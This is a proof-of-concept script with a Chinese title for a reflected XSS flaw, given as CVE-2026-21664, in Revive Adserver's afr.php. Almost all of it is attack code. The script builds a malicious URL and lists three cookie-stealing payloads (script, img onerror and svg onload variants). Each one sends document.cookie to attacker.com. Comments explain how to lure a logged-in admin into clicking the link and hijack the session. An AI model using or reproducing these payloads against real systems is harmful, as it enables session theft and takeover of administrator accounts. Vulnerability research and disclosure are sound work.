CVE-2026-21664 Revive Adserver afr.php 反射型XSS漏洞

// CVE-2026-21664 Reflected XSS PoC for Revive Adserver afr.php // Target: Revive Adserver afr.php delivery script // Payload: Reflected XSS via URL parameter const http = require('http'); // XSS payload - steals admin cookies const xssPayload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'; // Construct malicious URL const targetHost = 'vulnerable-server.com'; const targetPath = '/afr.php'; const maliciousUrl = `http://${targetHost}${targetPath}?what=${encodeURIComponent(xssPayload)}`; console.log('[+] CVE-2026-21664 Reflected XSS PoC'); console.log('[+] Target:', targetHost); console.log('[+] Malicious URL:', maliciousUrl); console.log('[+] Payload:', xssPayload); // Alternative payload variants const payloads = [ xssPayload, '<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">', '<svg/onload=fetch("https://attacker.com/steal?c="+document.cookie)>' ]; console.log('\n[+] Alternative payloads:'); payloads.forEach((p, i) => console.log(` ${i+1}. ${p}`)); // Attack scenario: // 1. Attacker crafts URL with XSS payload // 2. Attacker tricks logged-in admin to click the link // 3. Malicious script executes in admin's browser // 4. Attacker steals session cookies // 5. Attacker hijacks admin session